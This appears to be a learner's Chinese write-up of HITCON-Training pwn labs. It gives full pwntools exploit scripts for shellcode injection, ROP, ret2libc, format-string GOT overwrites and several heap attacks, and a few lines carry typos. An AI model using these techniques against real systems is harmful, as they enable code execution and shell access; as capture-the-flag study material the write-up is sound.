lab 1
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=0840aeca8337fc97ba1134067d05ee2563b3f4ce, not stripped
checksec sysmagic
[*] '/home/hu/Documents/hitcont/lab1/sysmagic'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
直接用gdb进行调试就行,把断点下在scanf 处。
在此时查看buf内存
输入168217215(0xA06CA7F)
lab2( pwnable.tw,可以在这上面试试远程)
源码
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
//可以看出什么保护都没有
//因为存在这两句话,所以不能直接get shell
prctl(38, 1, 0, 0, 0);
prctl(22, 2, &v1);
//从这两行代码结合它什么保护都没有可以看出,需要我们自己构造shellcode,读flag
printf("Give my your shellcode:");
read(0, &shellcode, 0xC8u);
((void (*)(void))shellcode)();
这里给大家介绍两种方法
#第一种,自己构造
#查系统调用,可以知道read 0x3, write 0x4,read 0x5 。
‘’‘我们需要构造
fd=open("flag")
read(fd,buf,0x100)
write(1,buf,0x100)
’‘’
exp
from pwn import *
from pwn import shellcraft
context.log_level='debug'
# one
shellcode1= shellcraft.pushstr('/home/orw/flag')
shellcode1+=shellcraft.open('esp')
shellcode1+=shellcraft.read('eax','esp',0x100)
shellcode1+=shellcraft.write(1,'esp',0x100)
print(shellcode)
print(asm(shellcode))
#p=process('./orw.bin')
p= remote("chall.pwnable.tw","10001")
p.sendlineafter('shellcode:',asm(shellcode1))
print p.recvall()
p.close()
# two
#这里还没完全弄懂push 0x1010101;xor dword ptr [esp],0x1016660的意义
shellcode ='push 0x1010101;xor dword ptr [esp],0x1016660;push 0x6c662f77;push 0x726f2f65;push 0x6d6f682f;mov ebx,esp;xor ecx,ecx;xor edx,edx;;mov eax,0x5int 0x80;'\
'mov ebx,eax;mov ecx,esp;mov edx,0x100;mov al,0x3;int 0x80;'\
'xor ebx,ebx;mov bl,0x1;mov edx,0x100;xor eax,eax;mov al,0x4;int 0x80;'
p= remote("chall.pwnable.tw","10001")
p.sendlineafter('shellcode:',asm(shellcode))
print p.recvall()
p.close()
lab3
$ file ret2sc
ret2sc: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=31484b774646e78186848556eae669af027787ce, not stripped
$ checksec ret2sc
[*] '/home/hu/Documents/hitcont/lab3/ret2sc'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
什么保护也没开
char s; // [esp+1Ch] [ebp-14h]
setvbuf(stdout, 0, 2, 0);
printf("Name:");
read(0, &name, 0x32u);
printf("Try your best:");
return (int)gets(&s);
分析一下源码,发现可以直接向那么写入shellcode,然后覆盖用name地址覆盖ret。
但是有一点需要注意,并不能直接通过ida里面所给出s相对偏移来进行填充,需要在gdb里面跑一下才能计算出具体的偏移
主要原因是有这行代码
text:080484D0 and esp, 0FFFFFFF0h //会将ebp对其,使得ebp与s的相对偏移不在是0x14
[----------------------------------registers-----------------------------------]
EAX: 0xf7fb5dbc --> 0xffffcf7c --> 0xffffd178 ("XDG_VTNR=7")
EBX: 0x0
[----------------------------------registers-----------------------------------]
EAX: 0xffffcebc --> 0xf7e30c0b (<__GI___cxa_atexit+27>: add esp,0x10)
EBX: 0x0
ECX: 0xffffffff
EDX: 0xf7fb5870 --> 0x0
ESI: 0xf7fb4000 --> 0x1b1db0
EDI: 0xf7fb4000 --> 0x1b1db0
EBP: 0xffffced8 --> 0x0
ESP: 0xffffcea0 --> 0x80485d6 ("Try your best:")
EIP: 0x8048533 (<main+102>: mov DWORD PTR [esp],eax)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048523 <main+86>: mov DWORD PTR [esp],0x80485d6
0x804852a <main+93>: call 0x8048380 <printf@plt>
0x804852f <main+98>: lea eax,[esp+0x1c]
=> 0x8048533 <main+102>: mov DWORD PTR [esp],eax
0x8048536 <main+105>: call 0x8048390 <gets@plt>
0x804853b <main+110>: nop
0x804853c <main+111>: leave
0x804853d <main+112>: ret
[------------------------------------stack-------------------------------------]
0000| 0xffffcea0 --> 0x80485d6 ("Try your best:")
0004| 0xffffcea4 --> 0x804a060 --> 0xa6b73 ('sk\n')
0008| 0xffffcea8 --> 0x32 ('2')
0012| 0xffffceac --> 0x0
0016| 0xffffceb0 --> 0x1
0020| 0xffffceb4 --> 0xffffcf74 --> 0xffffd151 ("/home/hu/Documents/hitcont/lab3/ret2sc")
0024| 0xffffceb8 --> 0xffffcf7c --> 0xffffd178 ("XDG_VTNR=7")
0028| 0xffffcebc --> 0xf7e30c0b (<__GI___cxa_atexit+27>: add esp,0x10)
offset = |esp +0x1c - ebp |=|0xffffcea0 +0x1c - 0xffffced8 |= 0x1c
payload = ‘a’* (0x1c +4) + p32(&name)
exp
from pwn import *
from pwn import shellcraft
context.log_level="debug"
p = process('./ret2sc')
name = 0x0804A060
shellcode = shellcraft.i386.linux.sh()
#print len(asm(shellcode))
p.sendafter('Name:',asm(shellcode))
payload = 'a'*(0x1c+4)+p32(name)
p.sendlineafter('Try your best:',payload)
p.interactive()
lab4
$ file ret2lib
ret2lib: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=c74b2683d6d3b99439c3e04d6d81b233e6a3b1b6, not stripped
$ checksec ret2lib
[*] '/home/hu/Documents/hitcon_train/lab4/ret2lib'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
漏洞点
main
{
...
v8 = (_DWORD *)strtol(&buf, v3, v4);//我们要通过输入一个10进制的地址(随便找一个地址转换成10进制就行)
···
read(0, &src, 0x100u);
Print_message(&src);
...
}
Print_message(char *src)
{
char dest; // [esp+10h] [ebp-38h]
strcpy(&dest, src); //覆盖ret
return printf("Your message is : %s", &dest);
}
exp
from pwn import *
from LibcSearcher import *
import time
context.log_level = 'debug'
p = process('./ret2lib')
elf = ELF('./ret2lib')
main = 0x0804857D
raw_input()
#################### leak ##########################
p.recvuntil('Give me an address (in dec) :')
p.send(str(134514000))
p.recvuntil('Leave some message for me :')
#print elf.plt['puts']
payload = 'a'*(0x38+4) + p32(elf.plt['puts']) +p32(main) + p32(elf.got['puts']) +'\x00'
p.send(payload)
length = len('Your message is : '+payload)-1
put_libc = p.recv()[length:length+4].ljust(4,'\x00')
puts = u32(put_libc)
##################### get system binsh ##################
libc = LibcSearcher('puts',puts)
libcbase = puts - libc.dump('puts')
system = libcbase + libc.dump('system')
binsh = libcbase + libc.dump('str_bin_sh')
print('system=',hex(system),'binsh=',hex(binsh))
##################### getshell ######################
p.send(str(134514000))
p.recvuntil('Leave some message for me :')
payload = 'a'*(0x38+4) + p32(system) +'dead' + p32(binsh) +'\x00'
p.send(payload)
#p.recv()//疑问点
p.interactive()
在这个程序里面,有个疑问点。为什么不用接受第二次调用Print_message(&src)函数–>printf(“Your message is : %s”, &dest);中发出的字符串?对printf 的内部结构还需要进一步了解。
lab5
$ file simplerop
simplerop: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=bdd40d725b490b97d5a25857a6273870c7de399f, not stripped
$ checksec simplerop
[*] '/home/hu/Documents/hitcon_train/lab5/simplerop'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
源码
int v4; // [esp+1Ch] [ebp-14h]
puts((int)"ROP is easy is'nt it ?");
printf((int)"Your input :");
fflush(stdout);
return read(0, &v4, 100)
这道题并不像以往一样有动态链接库,它是静态链接的statically linked。所以我们并不能像之前一样泄露libc,得到libc base,然后计算出system ,bin_sh,我们必须换种思路。
我们利用ROPgadget跑一下,找到一些gadget。构造execve("/bin/sh")。
- 先利用mov dword ptr [edx], eax ; ret向bss段写入"/bin/sh"
- int 0x80; eax=0xb; ebx=bss; ecx=0; edx=0。int 0x80; eax=0xb; ebx=bss; ecx=0; edx=0。
[+] Gadget found: 0x80493e1 int 0x80
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080bae06) # pop eax ; ret
0x0806e850 : pop edx ; pop ecx ; pop ebx ; ret
pop_edx_ecx_ebx = 0x0806e850
int_80 =0x080493e1
bss = 0x80ea060
#pop_ecx_pop_ebx = 0x0806e851
pop_edx = 0x0806e82a
pop_eax = 0x80bae06
mov_ledxl_eax = 0x809a15d
payload = 'a'*(0x1c+4)+p32(pop_edx)+p32(bss)+p32(pop_eax)+'/bin'+p32(mov_ledxl_eax)
payload += p32(pop_edx)+p32(bss+4)+p32(pop_eax)+'/sh\x00'+p32(mov_ledxl_eax)
payload += p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(bss)+p32(pop_eax)+p32(0xb)
#payload +=p32(pop_ecx_pop_ebx)+p32(0)+p32(bss)+p32(pop_edx)+p32(0)+p32(pop_eax)+p32(0xb)
payload +=p32(int_80)
完整exp
from pwn import *
context.log_level = 'debug'
p=process('./simplerop')
pop_edx_ecx_ebx = 0x0806e850
int_80 =0x080493e1
bss = 0x80ea060
pop_ecx_pop_ebx = 0x0806e851
pop_edx = 0x0806e82a
pop_eax = 0x80bae06
mov_ledxl_eax = 0x809a15d
payload = 'a'*(0x1c+4)+p32(pop_edx)+p32(bss)+p32(pop_eax)+'/bin'+p32(mov_ledxl_eax)
payload += p32(pop_edx)+p32(bss+4)+p32(pop_eax)+'/sh\x00'+p32(mov_ledxl_eax)
payload += p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(bss)+p32(pop_eax)+p32(0xb)
#payload +=p32(pop_ecx_pop_ebx)+p32(0)+p32(bss)+p32(pop_edx)+p32(0)+p32(pop_eax)+p32(0xb)
payload +=p32(int_80)
p.sendafter('Your input :',payload)
p.interactive()
有个疑问,当传入int 0x80的三个参数时,如果分开传会有问题,pop_ecx_pop_ebx_ret+pop_edx_ret 无法达到 pop_edx_ecx_ebx_ret的效果。望路过的大神们指点!!!
lab6
$ file migration
migration: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e65737a9201bfe28db6fe46f06d9428f5c814951, not stripped
$ checksec migration
[*] '/home/hu/Documents/hitcon_train/lab6/migration'
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
源码
char buf; // [esp+0h] [ebp-28h]
if ( count != 1337 ) // 限制了我们再次调用main函数
exit(1);
++count;
setvbuf(_bss_start, 0, 2, 0);
puts("Try your best :");
return read(0, &buf, 0x40u);//0x40 - 0x28 -4 =20 =5个32位代码片
这次的rop比以往要难一些,我们的输入很少,而且只能调用main函数一次。
所以要用到栈迁移。
解释一下用到的关键gadget ----> leave
leave = mov esp,ebp ; pop ebp;
from pwn import *
from LibcSearcher import *
context.log_level ='debug'
elf = ELF('./migration')
p = process('./migration')
buf1 = elf.bss()+0x600 #我们需要在bss段找到一个地方存放rop chain
buf2 = elf.bss()+0x700
leave = 0x08048418
pop_1 = 0x0804836d
#0x08048418 : leave ; ret
#0x0804836d : pop ebx ; ret
##########esp from strack to bss,add read size##########
payload = 'a'*0x28
payload+=p32(buf1)+p32(elf.plt['read'])+p32(leave)+p32(0)+p32(buf1)+p32(0x100) #当main函数leave 时,ebp 被赋 buf1,当执行到 payload中的leave时,mov esp,ebp 就将esp转向buf1。
p.sendafter('Try your best :\n',payload)
########## leak ###################
payload1 = p32(buf2)+p32(elf.plt['puts'])+p32(pop_1)+p32(elf.got['puts'])+p32(elf.plt['read'])+p32(leave)+p32(0)+p32(buf2)+p32(0x100)
p.send(payload1)
puts_adr = p.recv(4).ljust(4,'\x00')
puts = u32(puts_adr)
print puts
#########get system ,binsh
libc = LibcSearcher('puts',puts)
libcbase = puts - libc.dump('puts')
system = libcbase + libc.dump('system')
binsh = libcbase + libc.dump('str_bin_sh')
print(hex(system),hex(binsh))
#########get shell
payload2 = p32(buf1)+p32(system)+p32(0)+p32(binsh)
p.send(payload2)
p.interactive()
lab7
$ file crack
crack: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=66ea82f29539f0da4643036bca734fcd9b4791f9, not stripped
$ checksec crack
[*] '/home/hu/Documents/hitcon_train/lab7/crack'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
源码
v8 = __readgsdword(0x14u);
setvbuf(_bss_start, 0, 2, 0);
v3 = time(0);
srand(v3);
fd = open("/dev/urandom", 0);
read(fd, &password, 4u);
printf("What your name ? ");
read(0, &buf, 0x63u);
printf("Hello ,");
printf(&buf); //格式化字符串漏洞
printf("Your password :");
read(0, &nptr, 0xFu);
if ( atoi(&nptr) == password )
{
puts("Congrt!!");
system("cat /home/crack/flag");
}
else
{
puts("Goodbyte");
}
可以利用printf重写password,或者将system_plt 写入atoi_got,或者利用%s leak password
exp1:重写password
from pwn import *
context.log_level ='debug'
password = 0x0804A048
p = process('./crack')
#p.sendafter('What your name ? ',)
offset = 10
# def payload1(n):
# return ('abcd'+'%'+str(n)+'$p'+'%p-'*30)
payload = fmtstr_payload(10,{password:1234})
p.sendafter('What your name ? ',payload)
p.sendafter('Your password :','1234')
recv =p.recv()
p.interactive()
exp2:将system_plt 写入atoi_got
from pwn import *
context.log_level ='debug'
password = 0x0804A048
elf = ELF('./crack')
p = process('./crack')
atoi = elf.got['atoi']
system = elf.plt['system']
paylaod = fmtstr_payload(10,{atoi:system})
p.sendafter('What your name ? ',paylaod)
p.sendafter('Your password :',ls'/bin/sh\x00')
p.interactive()
exp3: leak password
from pwn import *
context.log_level ='debug'
password = 0x0804A048
elf = ELF('./crack')
p = process('./crack')
payload = p32(password) + '|%10$s|'
p.sendafter('What your name ? ',payload)
p.recvuntil('|')
leak = u32(p.recvuntil('|',drop=True))
p.sendafter('Your password :',str(leak))
p.recv()
p.interactive()
lab8
题目很简单
先算出格式化字符串的相对偏移
然后直接用pwntools 中的fmtstr_payload 构造出相应payload改写magic
exp
from pwn import *
context.log_level='debug'
p = process('./craxme')
p.recvuntil('Give me magic :')
magic = 0x0804A038
offset = 7
##计算offset的function
# def payload1(n):
# return ('abcd'+'%p-'*n)
# p.send(payload1(30))
# recv=p.recv()
# li = recv.split('-')
# new = []
# offset =0
# for i in li:
# offset+=1
# if i == '0x64636261':
# print('offset='+str(offset))
# break
payload = fmtstr_payload(offset,{magic:218})
p.send(payload)
p.recv()
p.interactive()
lab9
这个有点难度了,在做的时候,遇到了很多坑
source code
int do_fmt()
{
int result; // eax
while ( 1 )
{
read(0, buf, 0xC8u); //buf是bss,不在栈上
result = strncmp(buf, "quit", 4u);
if ( !result )
break;
printf(buf);
}
return result;
}
因为输入在bss上,所以无法通过直接在栈上构造payload来leak libc函数和覆写got表。
因为我们要利用%x、%s来leak,%n来覆写,需要一个指针链才能利用这些格式参数
在这里我们要利用栈上的ebp链
利用过程
1. 选择两个相邻的ebp,计算出格式化字符串与他们的距离,同时我们还需要两个地方用来存printf 的got表。在这里我们选择与两个ebp相邻的单元。(这是因为相邻的单元里面存的是.text段的地址,这样在后面我们改写为相应的got表地址时只需要改两个字节就可以了,不需要改太多)
在gdb里面跑一下,我们可以很容易的得到这些
ebp1_offset =6 ;f_7_offset =7;ebp2_offset =10;f_11_offset=11
2. 通过 payload = '%6$x'泄露出ebp2 地址,从而可以计算出f_7、ebp2、f_11的地址。
3. 通过 payload = '%'+str(f_7)+'c%6$hn'将ebp2中存的值改为f_7。这样我们能通过ebp2来改写f_7中存的值了,为什么不直接把ebp2中的值给改为printf_got呢?
- ebp2里面存的是stack的地址,我们如果要改写的话,必须使用%n,而如果使用%n的话,需要的时间非常的长,笔者试过了,跑到后面就出错了。
- 所以在这里利用ebp2来改写f_7,因为f_7中存的是函数返回值,前面高两位字节与我们printf_got表的值是一样的
4. 通过payload ='%'+str(printf_got&0xffff)+'c%10$hn',将printf_got的后两个字节写入f_7,但是f_7存的是完整的printf_got。
5. 通过payload = '%'+str(f_11)+'c%6$hn'将ebp2中存的值改为f_11。
6. 通过payload ='%'+str(printf_got+2)+'c%10$hn',将printf_got的前两个字节写入f_11
7. 通过payload ='%7$s' leak出printf_libc地址,得到system
8. 通过payload ='%'+str(system&0xffff)+'c%7$hn'
payload+='%'+str(system>>16-system&0xffff)+'c%11$hn' #这里是因为%hn所写的是前面所有输出字符的总的个数,所以这里要减去前面输入的system&0xffff个字符
9. send('/bin/sh\x00') getshell
完整exp
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
p = process('./playfmt')
elf =ELF('./playfmt')
def ready():
p.recvuntil('Server\n')
p.recvuntil('=====================\n')
# 0xffffce80 fmst
# stack 0xffffce98 --> 0xffffcea8 --> 0xffffceb8
offset1 = (0xffffce98 - 0xffffce80)/4
offset2 = (0xffffcea8 - 0xffffce80)/4
print offset1,offset2
#######################get ebp#################
ready()
printf_got = elf.got['printf']
payload ='%'+str(offset1)+'$x' #ebp2
p.send(payload)
ebp=p.recv()
ebp2=int(ebp[:8],16)
ebp1=ebp2 - (offset2-offset1)*4
f_7 = ebp1+0x4
f_11 = ebp2+0x4
print ebp1,ebp2,f_7,f_11
################leak printf libc#########
payload1 = '%'+str(f_7&0xffff)+'c%6$hn\x00'
p.send(payload1)
p.recv()
payload2 = '%'+str(printf_got&0xffff)+'c%10$hn\x00'
p.send(payload2)
p.recv()
while True:#recv()一次只能接受0x1000个字节,所以我们要将前面输入的大量字符给recv()完,
p.send('huhua')#在这里,我们给这些字符串做个标记‘huhua’,当我们接受不到带有这个标记
sleep(0.1)#的字符串后,代表前面%hn写的数据已经全部接受完。
data = p.recv()
if data.find('huhua') != -1:
break
payload1 = '%'+str(f_11&0xffff)+'c%'+str(offset1)+'$hn\x00'
p.send(payload1)
p.recv()
payload2 = '%'+str((printf_got+2)&0xffff)+'c%'+str(offset2)+'$hn\x00'
p.send(payload2)
p.recv()
while True:
p.send('huhua')
sleep(0.1)
data = p.recv()
if data.find('huhua') != -1:
break
payload='aaaa%'+'7$s'
p.send(payload)
p.recvuntil('aaaa')
printf = u32(p.recv()[:4])
print printf
libc = LibcSearcher('printf',printf)
libcbase = printf - libc.dump('printf')
system = libcbase + libc.dump('system')
print libcbase,system
###########write system to printf_got##########
payload = '%'+str(system&0xffff)+'c%7$hn'
payload+='%'+str((system>>16)-system&0xffff)+'c%11$hn'
p.send(payload)
p.recv()
while True:
p.send('huhua')
sleep(0.1)
data = p.recv()
if data.find('huhua')!=-1 :
break
#############get shell######################
p.send('/bin/sh\x00')
p.interactive()
lab10
终于到堆得学习了。。。
这道题目之前做过,是个use_after_free类型的题,结合了一下fast bin的特点。
直接贴链接了点点
exp
from pwn import *
context.log_level='debug'
p = process('./hacknote')
elf = ELF('./hacknote')
magic =0x08048986
def add_note(size,content):
p.send('1')
p.sendafter('Note size :',str(size))
p.sendafter('Content :',content)
p.recvuntil('Success !\n')
def del_note(index):
p.send('2')
p.sendafter('Index :',str(index))
p.recvuntil('Success\n')
def printf_note(index):
p.send('3')
p.sendafter('Index :',str(index))
def menu():
p.recvuntil('Your choice :')
menu()
add_note(30,'a'*7)
menu()
add_note(30,'a'*7)
menu()
del_note(0)
menu()
del_note(1)
menu()
add_note(8,p32(magic))
menu()
printf_note(0)
p.interactive()
lab11
方法一
这是一个堆题,我想到的方法是unlink。第一次完全自己刚出来的,开心一下~~
贴一下漏洞
//关键是这个change函数,我们在add函数里面创建了
//chunk,但是在change的时候可以进行任意长度的写
//使得我们可以很方便的构造chunk,进行unlink
change{
...
printf("Please enter the length of item name:", &buf);
read(0, &nptr, 8uLL);
v0 = atoi(&nptr);
printf("Please enter the new name of the item:", &nptr);
*(_BYTE *)(qword_6020C8[2 * v2] + (signed int)read(0, (void *)qword_6020C8[2 * v2], v0)) = 0;
...
}
step1 — 基本工作
from pwn import *
from LibcSearcher import *
context.log_level='debug'
p = process('./bamboobox')
elf = ELF('./bamboobox')
def show():
p.sendafter('Your choice:','1')
return(p.recvuntil('----------------------------\n',drop=True))
def add(length,name):
p.sendafter('Your choice:','2')
p.sendafter('Please enter the length of item name:',str(length))
p.sendafter('Please enter the name of item:',name)
def change(index,length,name):
p.sendafter('Your choice:','3')
p.sendafter('index of item:',str(index))
p.sendafter('length of item name:',str(length))
p.sendafter('name of the item:',name)
def remove(index):
p.sendafter('Your choice:','4')
p.sendafter('the index of item:',str(index))
p.recvuntil('remove successful!!\n')
itemlist =0x00000000006020C0 #length
name =0x00000000006020C8 #name malloc_ptr
aim=name+0x10*2 #这是我们最重要写的地方,要写的数据是fd
fd =aim -0x18#避过检查
bk =aim -0x10
#after unlink ,*aim will = fd
add(0x90,'a'*30)#0
add(0x90,'a'*30)#1
add(0x90,'a'*30)#2 ##在chunk2里面构造chunk
add(0x90,'a'*30)#3 ##通过free chunk3,实现unlink
add(0x90,'a'*30)#4
step2 — unlink
payload = p64(0)+p64(0x91)+p64(fd)+p64(bk)+'a'*0x70+p64(0x90)+p64(0xa0)
change(2,len(payload),payload)
remove(3)
实现对aim写fd的值
step3—leak free_got to get libcbase and system
payload = p64(0x90)+p64(elf.got['free'])
change(2,len(payload),payload)
recv = show()[0x26:(0x26+6)].ljust(8,'\x00')
free_got = u64(recv)
print(hex(u64(recv)))
libc =LibcSearcher('free',free_got)
libcbase = free_got - libc.dump('free')
system = libcbase + libc.dump('system')
因为现在的qword_6020C8[2](存name地址的地方)已经存了
qword_6020C8[1]-0x8的地址,所以我们输入p64(任
意)+p64(free_got)通过change index=2 来改变qword_6020C8[1]
为free_got,然后通过show 来leak free 的libc,从而算出system。
step4
现在就要利用了,关于利用,第一个想到的是用system 覆写free的got表,但是我试了多次,发现free的got表修改不了,可能是受了保护。只能另寻对象了,最后找到了
atoi函数。非常友好。于是利用一波。
step5 —getshell
payload = p64(0x90)+p64(elf.got['atoi'])
change(2,len(payload),payload)
change(1,0x8,p64(system))
p.sendafter('Your choice:','/bin/sh\x00')
p.interactive()
完整exp
from pwn import *
from LibcSearcher import *
context.log_level='debug'
p = process('./bamboobox')
elf = ELF('./bamboobox')
def show():
p.sendafter('Your choice:','1')
return(p.recvuntil('----------------------------\n',drop=True))
def add(length,name):
p.sendafter('Your choice:','2')
p.sendafter('Please enter the length of item name:',str(length))
p.sendafter('Please enter the name of item:',name)
def change(index,length,name):
p.sendafter('Your choice:','3')
p.sendafter('index of item:',str(index))
p.sendafter('length of item name:',str(length))
p.sendafter('name of the item:',name)
def remove(index):
p.sendafter('Your choice:','4')
p.sendafter('the index of item:',str(index))
p.recvuntil('remove successful!!\n')
itemlist =0x00000000006020C0 #length
name =0x00000000006020C8 #name malloc_ptr
aim=name+0x10*2
fd =aim -0x18
bk =aim -0x10
#after unlink ,*aim will = fd
add(0x90,'a'*30)#0
add(0x90,'a'*30)#1
add(0x90,'a'*30)#2
add(0x90,'a'*30)#3
add(0x90,'a'*30)#4
#####################unlink#################################################
payload = p64(0)+ p64(0x91)+p64(fd)+p64(bk)+'a'*0x70+p64(0x90)+p64(0xa0)
change(2,len(payload),payload)
remove(3)
#####################leak free_got to get libcbase and system################
payload = p64(0x90)+p64(elf.got['free'])
change(2,len(payload),payload)
recv = show()[0x26:(0x26+6)].ljust(8,'\x00')
free_got = u64(recv)
print(hex(u64(recv)))
libc =LibcSearcher('free',free_got)
libcbase = free_got - libc.dump('free')
system = libcbase + libc.dump('system')
#####################change atoi_got to system######################################
payload = p64(0x90)+p64(elf.got['atoi'])
change(2,len(payload),payload)
change(1,0x8,p64(system))
p.sendafter('Your choice:','/bin/sh\x00')
p.interactive()
方法二
house of force
在能堆溢出的情况下进行使用
通过修改top chunk size,实现任意地址写。
基本步骤如下(假设是64位程序)
- malloc(size) 得到 chunk y (大小任意)(假设y这里指向的是这个chunk的presize域)
- 向y中填充 ‘a’*size +p64(0)+p64(0xffffffffffffffff)
- 假如想要修改的目标地址是 aim,那么我们接下来要malloc((aim-0x10)-(y-0x10)-size-0x10) =malloc(offset_aim2y- size- 0x30)
- malloc(0x10),就可以对aim进行任意写了
针对这道题的话,它先申请了一个0x10的chunk,里面存放了两个函数地址,在输入‘5’以后就执行chunk里面的函数,所以我们只要把magic写入这个chunk里面就行
exp
from pwn import *
context.log_level='debug'
context.terminal =['gnome-terminal','-x','sh','-c']
p = process('./bamboobox')
def show():
p.sendafter('Your choice:','1')
def add(length,name):
p.sendafter(':','2')
p.sendafter('Please enter the length of item name:',str(length))
p.recvuntil(':')
p.send(name)
def change(index,length,name):
p.sendafter(':','3')
p.sendafter(':',str(index))
p.sendafter(':',str(length))
p.sendafter(':',name)
def remove(index):
p.sendafter('Your choice:','4')
p.sendafter('the index of item:',str(index))
p.recvuntil('remove successful!!\n')
magic=0x0000000000400D49
aim2y = -0x10
size =0x60
add(size, "ddaa")
payload = size * 'a'
payload += p64(0)+ p64(0xffffffffffffffff)
change(0, size+0x10, payload)
malloc_size = aim2y-size-0x30
add(malloc_size, "dada")
sleep(0.1)
show() #这里经常会有bug,通过加一show,把bug避过去
p.sendafter(':','2')
p.sendafter('Please enter the length of item name:',str(0x10))
p.recvuntil(':')
#pwnlib.gdb.attach(p)
p.send(p64(magic)*2)
p.recv()
p.send('5')
p.interactive()
lab12
这里用到的知识点是fastbin 中的 doublefree。(64位)
这里面要满足两个检查
- free 的检查
/* Check that the top of the bin is not the record we are going to add
(i.e., double free). */
if (__builtin_expect (old == p, 0))
{
errstr = "double free or corruption (fasttop)";
goto errout;
}
要想doublefree ,必须在free相同的块的两次之间插一次相同大小的chunk的free。
2. malloc 的检查
#define fastbin_index(sz) \
((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
...
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
{
errstr = "malloc(): memory corruption (fast)";
errout:
malloc_printerr (check_action, errstr, chunk2mem (victim), av);
return NULL;
}
这个检测表示我们要构造的fake chunk的size域经过>>4后一定要满足它所在的fast bin单链表的下标,并且由于它的类型是(unsigned int),所以我们只要注意他的后四个字节就行。其实也就是fake chunk的size域要和我们free的chunk size一样。
整个流程如下
比如说我们要覆写got表,我们就要在got表中找到一个合适的地方。我们的free的chunk的size是0x60,那么我们在got表处找到0x601ffa,它的size域满足条件。
题目比较简单,就直接贴exp了
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','sh','-c']
elf =ELF('./secretgarden')
p = process('./secretgarden')
def DEBUG(instruction,chose):
if chose ==1:
pwnlib.gdb.attach(p,instruction)
else :
pwnlib.gdb.attach(p)
def add(size,name,color):
p.sendlineafter(': ','1')
p.sendlineafter(':',str(size))
p.sendafter(':',name)
p.sendlineafter(':',color)
def visit():
p.sendafter(': ','2')
return p.recv()
def remove(index):
p.sendlineafter(': ','3')
p.sendlineafter(':',str(index))
def clean():
p.sendafter(': ','4')
def exit():
p.sendafter(': ','5')
magic = 0x0000000000400C7B
flowerlist = 0x00000000006020E0
instruction ='''
x/32xg 0x00000000006020E0
x/32xg 0x0000000000601FF8
'''
add(0x50,'abcd','1111')
add(0x50,'abcd','1111')
remove(0)
remove(1)
remove(0)
#DEBUG(instruction,1)
payload = p64(0x000000000601FFa)
add(0x50,payload,'1111')
add(0x50,'efgh','2222')
add(0x50,'abcd','1111')
add(0x50,'a'*6+p64(magic)*3,'1111')
p.interactive()
lab13
这是一个 利用off-by-one,实现chunk overlapping的题。
在这里面漏洞点主要在edit 里面的read
函数,多输入了一个数
所以我们可以通过申请0x18类似的chunk,使得系统将后一个chunk的presize域作为该chunk的一部分。使得我们的最后一个字节可以修改到后一个chunk的size域。
我们通过修改后一个chunk的size域使得再次申请的两个chunk,大的chunk包含小的chunk,从而实现任意地址的读写。
add(0x18,'123')
add(0x10,'123')
payload = '/bin/sh\x00'+p64(0)+p64(0)+'\x41'
edit(0,payload)
delete(1)
完整exp
from pwn import *
from LibcSearcher import *
context.log_level ='debug'
context.terminal =['gnome-terminal','-x','sh','-c']
p = process('./heapcreator')
elf = ELF('./heapcreator')
def DEBUG(instruction,chose):
if chose == 1:
pwnlib.gdb.attach(p,instruction)
else :
pwnlib.gdb.attach(p)
def add(size,content):
p.sendafter(':','1')
p.sendafter(': ',str(size))
p.sendafter(':',content)
def edit(index,content):
p.sendafter(':','2')
p.sendafter(':',str(index))
p.sendafter(': ',content)
def show(index):
p.sendafter(':','3')
p.sendafter(':',str(index))
return p.recvuntil('\nDone !\n',drop=True)
def delete(index):
p.sendafter(':','4')
p.sendafter(':',str(index))
def exit():
p.sendafter(':','5')
add(0x18,'123')
add(0x10,'123')
payload = '/bin/sh\x00'+p64(0)+p64(0)+'\x41'
edit(0,payload)
delete(1)
add(0x30,'a'*0x10+p64(0)+p64(0x21)+p64(0x10)+p64(elf.got['free']))
recv=show(1)[-6:].ljust(8,'\00')
print hex(u64(recv))
free = u64(recv)
libc = LibcSearcher('free',free)
libcbase = free - libc.dump('free')
system = libcbase + libc.dump('system')
edit(1,p64(system))
delete(0)
p.interactive()
lab14
